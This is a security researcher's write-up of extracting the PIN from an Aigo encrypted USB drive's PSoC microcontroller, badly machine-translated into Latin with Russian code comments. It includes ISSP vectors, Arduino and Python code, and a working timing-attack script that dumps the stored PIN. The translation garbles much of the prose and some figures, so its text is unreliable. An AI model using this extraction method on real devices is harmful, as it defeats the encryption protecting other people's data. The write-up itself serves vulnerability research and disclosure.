Haec est secunda et ultima pars articuli de caesim externa auto-encrypting agitet. Me admoneam te collegam nuper a Patriot (Aigo) SK8671 nuper impulisse, eumque decrevi regredi, et nunc quid ex eo processit communico. Priusquam legerem, scito legere articulus.
4. Incipimus accipere a TUBER internus PSoC mico coegi
Omnia igitur indicat (ut in [prima parte] () constituimus) codicem PIN in profundis PSoC mico repositum esse. Ideo necesse est legere haec profundis mico. Ante opus necessarium;
- communicatio cum microcontrollo, potiri;
- viam invenias inspicias num haec « communicatio » ab exteriori lectione defendatur;
- viam inveniam praesidio praeterire.
Duo loca sunt ubi sensum validum PIN codicem quaerere facit:
- interna mico memoria;
- SRAM, ubi paxillus reponendum est ad comparandum cum clavo usoris ingressus.
Prospiciens, notabo me adhuc tractare TUBER interni PSoC mico coegi - praeteriens systema securitatis utens ferramenta oppugnationis quae "frigus tabernus typum" - post undocumented facultates protocollo ISSP convertens. Hoc mihi permisit ut ipsam PIN codicem directe effundere.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Finalis programma code:
- ;
- .
5. ISSP protocol
5.1. Quod ISSP
"Communicatio" cum microcontroller, alia significare potest: a "vendor vendor" ad commercium utens protocollo serial (exempli gratia, ICSP pro Microchip' PIC).
Cupressus protocollum suum proprietatis habet hoc nomine ISSP (protocollum programmandi in systemate serial), quod partim describitur in . etiam aliqua dat. Est etiam OpenSource aequivalens HSSP nomine (paulo postea utemur). ISSP opera sic:
- reboot PSoC;
- output numerum magicam ad clavum huius PSoC data; ad programmandi modum externum;
- mandata mittis, quae sunt longa chordae, quae vocantur "vectora".
Documenta ISSP hos vectores definit pro paucis manipulis mandatorum;
- Initialize-1
- Initialize-2
- Initialize-3 (3V et 5V options)
- ID-ERECTUS
- READ-ID-VERBUM
- SET-Block-NUM: 10011111010dddddddd111, ubi dddddddd=obstructionum #
- MENSA RADO
- PROGRAMMA PRÆVIUM
- VERIFICO-ERECTUS
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ubi DDDDDDDD = data e, aaaaaa = inscriptio (6 bits)
- WRITE-BYTE: 10010aaaaaaddddddd111, ubi dddddddd = data in, aaaaaa = inscriptio (6 bits)
- LIQUIDUS
- CHECKSUM-ERECTUS
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDDDZ1, ubi DDDDDDDDDDDDDDDD = data e: fabrica checksum
- DISSIMULO OBSIDEO
For example, vector for Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Omnes vectores eandem longitudinem habent: 22 frusta. Documenta HSSP informationis quaedam in ISSP habet: "An ISSP vector nihil aliud est quam aliquantulum seriei quae instructionem constituit".
5.2. Demystifying Vectors
Sit figura quid hic agitur. Initio posui eosdem vectores rudis versiones instructionum M8C fuisse, sed hac hypothesi iniecta, opcodes operationum non aequas deprehendi.
Tum ego googled vector supra et veni trans studium in quo auctor, etsi non attingit, aliquas apices utiles praebet: “Utraque institutio incipit a tribus lamellis quae uni quattuor promunturiis respondent (ex RAM legere, scribere RAM, legere mandare, scribere mandare). Tunc sunt 8 inscriptionis frena, quae sequuntur data 8 particulae (legendae vel scribendae) ac postremo tres frena sistenda.
Tunc colligere potui nonnulla ex sectione Supervisory ROM (SROM) perutilia. . SROM durum coded ROM in PSoC est quod functiones utilitates praebet (simili modo Syscall) pro programmatis codice currens in spatio usoris:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: Checksum
- 08h: Calibrate0
- 09h: Calibrate1
Comparando vector nomina ad SROM functiones describi possumus varias operationes hoc protocollo ad parametros expectatos SROM suffultas. Propter hoc tres primas partes ISSP vectorum decoctare possumus:
- 100 => "wrem"
- 101 => "rdmem".
- 110 => "wrreg"
- 111 => "rdreg"
Attamen, perfecte intellectus processuum in-chionis, nonnisi per communicationem directam cum PSoC obtineri potest.
5.3. Communicatio cum PSoC
Cum iam Theodericus Petrautsky Codicis cupressi HSSP in Arduino, Arduino Uno usus sum coniungere cum ISSP iungo tabulae claviaturae.
Quaeso note quod in pervestigationi meae decursu, Theodericum codicem satis paulum mutavi. Potes invenire modificationem meam in GitHub: et respondens Python scriptionem communicandi cum Arduino in reposito .
Itaque, Arduino utens, primum solum "officialem" vectorem "communicationis" usus sum. Conatus sum legere internum ROM utens VERIFICO mandatum. Hoc ut malesuada facere non potui. Verisimiliter ob hoc, quod in tutela legitur frena reducitur intra mico aget.
Tunc paucos ex propriis simplicibus vectoribus creavi ad scribendum et legendi memoriam/descriptam. Quaeso note nos totam SROM legere posse, etiamsi mico agitatio muniatur!
5.4. Lepidium sativum in-chip registris
Postquam vectores "disassembled" inspexi, inventa machinam tabularum undocumentarum (0xF8-0xFA) ad specificandos M8C opcodes, quae directe efficiuntur, tutelae praetereuntes deprehendi. Hoc mihi permisit varias opcodes currere, ut "ADD", "MOV A, X", CONATIO" vel "JMP". Eis gratias (perspectans effectus laterales quos in regestis habent) determinare potui uter ex regestis undocumentorum regularium regestorum essent (A, X, SP, PC).
Quam ob rem codicem "disassemble" generatum ab instrumento HSSP_disas.rb hoc simile est (commenta ad claritatem addidi);
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00 # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00 # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06 # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокумментированная операция: выполнить внешний опкод
5.5. Securitas bits
Hac in scaena iam cum PSoC communicare possum, sed tamen certas informationes de securitate mico aget non habeo. Valde miratus sum quod Cupressus usorem artificii non praebet quovis modo ad reprimendum num reducitur tutela. Altius fodi in Google ut tandem intellegamus codicem HSSP a Cupresso provisum esse renovatum postquam Dirk modificationem suam dimisit. Itaque! Hoc novum vector apparuit:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Hoc vectore utendo (vide lege_security_data in psoc.py), omnia frena securitatis in SRAM accipimus ad 0x80, ubi duo frusta per stipitem tuti sunt.
Effectus deprimit: omnia tutantur in modum "inactivare externam lectionem et scripturam". Itaque non solum aliquid ex ictu fulminis legere non possumus, sed nec aliquid scribere possumus (exempli gratia, ut ibi dumper instituatur). Solus autem modus ad tutelam inactivandi est ut totum chip funditus deleat. 🙁
6. Primum (defecit) impetum: ROMX
Sed sequenti stropha conari possumus: quandoquidem arbitrariam opcodes exequi facultatem habemus, cur non ROMX judicium, quod mico memoria legere solet? Accessus hic bonam occasionem bene gerendae rei habet. Quia munus ReadBlock quod notitia ex SROM legit (quod a vectoribus adhibetur) impedit an dicatur ab ISSP. Nihilominus, intelligibile opcode ROMX talem perscriptio non habere potest. Est igitur hic Python codicem (post paucas lectiones auxiliatorum in Arduino codice additis);
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byteInfeliciter hoc signum non operatur. Vel potius laborat, sed opcodes nostros in output accipimus (0x28 0x30 0x40)! Non puto congruentem machinationis functionem elementum tutelae legere. Haec fraus machinalis magis similis est: cum opcodes externas exercet, ROM bus ad quiddam temporale determinatur.
7. secundi impetus: Frigus Booz Tracing
Cum fraus ROMX non laboraret, cogitavi de alia variatione huius strophae - in publicatione descriptae .
7.1. Exsecutio
ISSP documenta praebet sequens vector pro CHECKSUM-ERECTUS:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Hoc munus vocat SROM 0x07 essentialiter, ut in documentis (meis italicis);
Hoc munus checksum verificationem. Computat unum 16-bit checksum numeri usoris specificatorum in una ripae mico, inde a nihilo incipiens. Obstructio parametri ad numerum caudices transire adhibetur, cum checksum computandi erit. Valor "1" tantum prehensionem pro clausura nulla computabit; cum "0" totum checksum efficiet omnium 256 caudices ripae mico calculandae. XVI frenum checksum redditur per KEY16 et KEY1. KEY1 parameter ordinem octonariarum pressionis humilem reponit, et KEY8 parameter summum ordinem octo frustularum reponit. Ad machinas cum pluribus ripis mico, munus checksum pro singulis singulatim vocatur. Numerus argentaria cum quibus opus erit ab FLS_PR2 tabulario ponitur (per frenum in ea respondente clypeo argentarii mico).
Nota hanc esse simplicem checksum: bytes simpliciter adduntur unum post alterum; no puto crc vafri. Praeterea sciens M8C nucleum parvum tabularum statutum habere, posui quod cum calculis checksum, valores intermedii notentur in eisdem variabilibus quae ultimo ad output accedent: KEY1 (0xF8) / KEY2 ( 0xF9).
Ita in theoria impetum meum sic spectat:
- Coniungimus per ISSP.
- Committitur calculus checksum utens vector CHECKSUM-ERECTUS.
- Nos processus reboot post tempus praefinitum T.
- Legimus RAM ut hodiernam checksum C.
- Repetere vestigia 3 et 4, augere T per singula tempora.
- Recipimus notitias e mico coegi subtrahendo checksum C priorem e currenti.
Difficultas tamen est: vector initialize-1 quem mittere debemus post reboot overwrites KEY1 et KEY2:
1100101000000000000000 # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Hoc codicem nostrum pretiosum checksum scribit, Calibrate1 (SROM munus 9). Etiam, laborat! In Arduino codice, qui hanc oppugnationem instrumentorum conficit, satis simplex est;
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lege checkum_delay.
- Currite checksum calculi (send_checksum_v).
- Exspecta definitum tempus; attentis foveis sequentibus;
- Perdidi multum temporis donec inveni quid evenit recte tantum moras non excedentes 16383 μs operatur;
- ac deinde iterum tantundem temporis occidisse, donec moraMicroseconds comperissem, si 0 ad illud ut input, omnino perperam!
- Reboot PSoC in programmandi modum (modo nos mittimus numerum magicum, sine vectoribus initializationis mittendo).
In Pythone codice finali:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))In nuce quid hoc codice facit;
- Reboots PSoC (et mittit numerus magica).
- Plena initialization vector mittit.
- Munus vocat Arduino Cmnd_STK_START_CSUM (0x85), ubi mora in microseconds pro modulo praeteritur.
- Legit checksum (0xF8 et 0xF9) et undocumented mandare 0xF1.
Codex hic X temporibus in 10 microsecond, fit. 1xF0 hic inclusus est quia solum registri mutatur cum checksum computandi. Fortassis est quaedam temporalis variabilis usus ab arithmetica logica unitas. Nota deformis hack utar ut Arduino picocom utens retexere cum Arduino sistit signa vitae ostendens (sine ratione quare).
7.2. Legere effectus
Effectus Pythonis scripti hoc simile (simplicius pro readability) spectat;
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30Hoc dictum problema habemus: quia cum actuali checksum operamur, nullum byte valorem legitimum non mutat. Cum tamen omnis ratio calculi (8192 bytes) secundas 0,1478 sumat (cum levibus variationibus singulis diebus currit), quae ad fere 18,04 μs per byte aequat, hoc tempore ad valorem congruis temporibus reprimendum uti possumus. Primum enim, omnia facillime legantur, cum duratio ratiocinationis semper fere eadem sit. Attamen finis huius TUBER minus accurate est quod "deviationes minorum timentium" in unoquoque run augent ut significantes fiant:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDId omne microsecond mora eri X. Totum tempus operandi pro dumping omnia 10 bytes fulguris coegi est de 8192 horis.
7.3. Mico binarii refectionem
Nondum perfecit codicem scripto qui codicem programmatis mico coegi, omni tempore errorum ratione habita. Sed initium huius codicis iam restituimus. Prorsus recte feci, disassembled m8cdis utens;
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retSpectat satis probabile!
7.4. Inveniens ACUS codice repono electronica
Nunc legere possumus checksum temporibus quibus opus est, facile inspicere possumus quomodo et ubi mutatur cum sumus:
- PIN codicem inire iniuriam;
- pin code mutare.
Primum, ut proximam electronicam tabulam invenias, in 10 ms incrementorum reboot emissarium cepi. Tum iniuriam PIN intravi et idem fecit.
Eventus non admodum iucundus fuit, cum multae essent mutationes. In fine autem statuere potui, quod checksum alicubi inter 120000 µs et 140000 µs morae mutandum esset. Sed "pincode" quam proposui, erat omnino falsa - ex artificio dilatio Microseconds procedendi, quod res mirabiles cum 0 ad eam transit.
Deinde, consumptis fere 3 horis, recordatus sum SROM systema vocatum Checksum accepisse argumentum tamquam input quod determinat numerum caudicum pro checksum! Quod. facile possumus electronicam repositam in codice PIN ac contra "inrectos conatus" collocare, cum accuratione usque ad clausuram 64-byte.
Meus initialis sequens exitum produxit:
Tum codicem PIN mutavi ab "123456" ad "1234567" et accepi;
Ita, codice PIN et calculus falsarum molitionum in clausula N. 126 reponenda esse videntur.
7.5. Accipiens TUBER obstructionum No. CXXVI "
Clausus #126 alicubi collocari debet circa 125x64x18 = 144000µs, ab initio calculi calculi, in plena TUBER, et satis probabilis spectat. Deinde, postquam manually multas ericius invalidas excutiendo (ob cumulum "minororum leviorum errorum"), hos bytes questus sum (sub anno 145527 μs);
Perspicuum est codicem PIN in forma unencrypted repositum esse! Haec bona, utique in ASCII codicibus non scripta, sed evenit, lectiones e claviaturae capacitivo desumptae considerant.
Denique plura temptans cucurri ad inveniendum ubi repositum mali contra conatum. Hic eventus:
0xFF - significat "15 attentare" et decrescit cum conatu inter se incassum.
7.6. ACUS codice recuperatio
Hic mihi turpis codicem superi simul ponit;
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printHic est effectus omissionis eius:
$ ./psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9euge! Opera!
Quaeso nota quod valores tarditatis quas ego usus sum verisimile pertinentes ad unum PSoC specificum - illud quod eram.
8. Quid postea?
Summatim igitur in parte PSoC, in contextu nostri Aigo coegi:
- legi potest SRAM etsi legitur buo;
- Praesidium praeterire possumus anti-swipe utendo frigido violentiae vestigio impetum et recta PIN codicem legentes.
Sed impetus noster quaedam vitia habet ob problematum synchronizationem. Posset emendari sic:
- scribere utilitatem ad recte decoquendam in output data quae obtinetur ex impetu "frigidi violenti vestigium";
- FPGA gadget utere ad moras temporis accuratius conficiendas (vel utimur Arduino ferramento timers);
- aliam oppugnationem experire: codicem PIN consulto perperam, reboot et RAM TUBER, sperans rectum PIN codicem in RAM ad comparationem servatum iri. Sed hoc non tam facile in Arduino factu est, cum Arduino campestri signum 5 voltarum sit, dum tabulam opera examinamus cum 3,3 voltis significationibus.
Una res quae temptari potuit est ludere cum intentione campestri praeterire praesidio legere. Si hic accessus laboravit, omnino accurate notitias e mico ejicere poterimus - loco innixi legendi checksum moras timidae inexplicabiles.
Cum probabiliter SROM legit frena custodiae per rationem vocationis ReadBlock, idem facere potuimus on Dmitry Nedospasov's blog - de re-impletione impetum Chris Gerlinski, in colloquio nuntiatum. .
Aliud iocum quod fieri potuit est casus ex chip abscindere: accipere SRAM dump, undocumented ratio cognoscendi vocat et vulnerabilitates.
9. conclusioni
Itaque, tutelae huius coegi folia multum desideranda, quia microcontroller regularis (non "obduratum") utitur ut codicem PIN... plus reponat, non vidi quomodo res cum notitia gerantur. encryption on this device!
Quid commendes Aigo? Post duo exempla encrypted HDD agitationes examinando, anno MMXV feci de SyScan, in quo quaestiones securitatis variarum externarum HDD agitationes examinavit, et quid in eis emendari posset, commendabat. 🙂
Duas hebdomadas complevi et plures vesperas faciens hanc investigationem. Summa circiter 40 horarum. Ab initio (cum disco aperui) ad finem (PIN codicem dump). Eadem 40 horae includit tempus quo scribebam hunc articulum. Praesent suscipit erat elit.
Source: www.habr.com